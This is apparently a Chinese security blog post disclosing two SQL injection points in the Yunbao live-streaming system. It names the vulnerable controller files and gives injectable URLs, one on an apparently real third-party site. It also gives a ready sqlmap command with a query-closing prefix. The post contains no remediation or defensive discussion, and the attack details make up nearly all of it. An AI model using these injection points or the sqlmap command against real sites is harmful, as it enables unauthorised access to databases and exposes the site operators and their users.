云豹直播系统两处注入漏洞 - 蛋壳博客 - 网络安全博客

云豹直播系统两处注入漏洞 - 蛋壳博客 - 网络安全博客 云豹直播系统两处注入漏洞 - 蛋壳博客 - 网络安全博客

云豹直播系统两处注入漏洞

注入一:
文件位置:
/application/Home/Controller/PlaybackController.class.php

注入链接:

http://www.hedysx.com/index.php?g=Home&m=Playback&touid=1

注入二:
文件位置:
/application/Appapi/Controller/VideoController.class.php

注入链接:

http://www.hedysx.com/index.php?g=Appapi&m=Video&videoid=1

注意闭合问题:sqlmap -u 'http://www.xxxxxx.cn/index.php?g=Appapi&m=Video&videoid=1*' --prefix "1)" --force-ssl -v3

评论 0


sitemap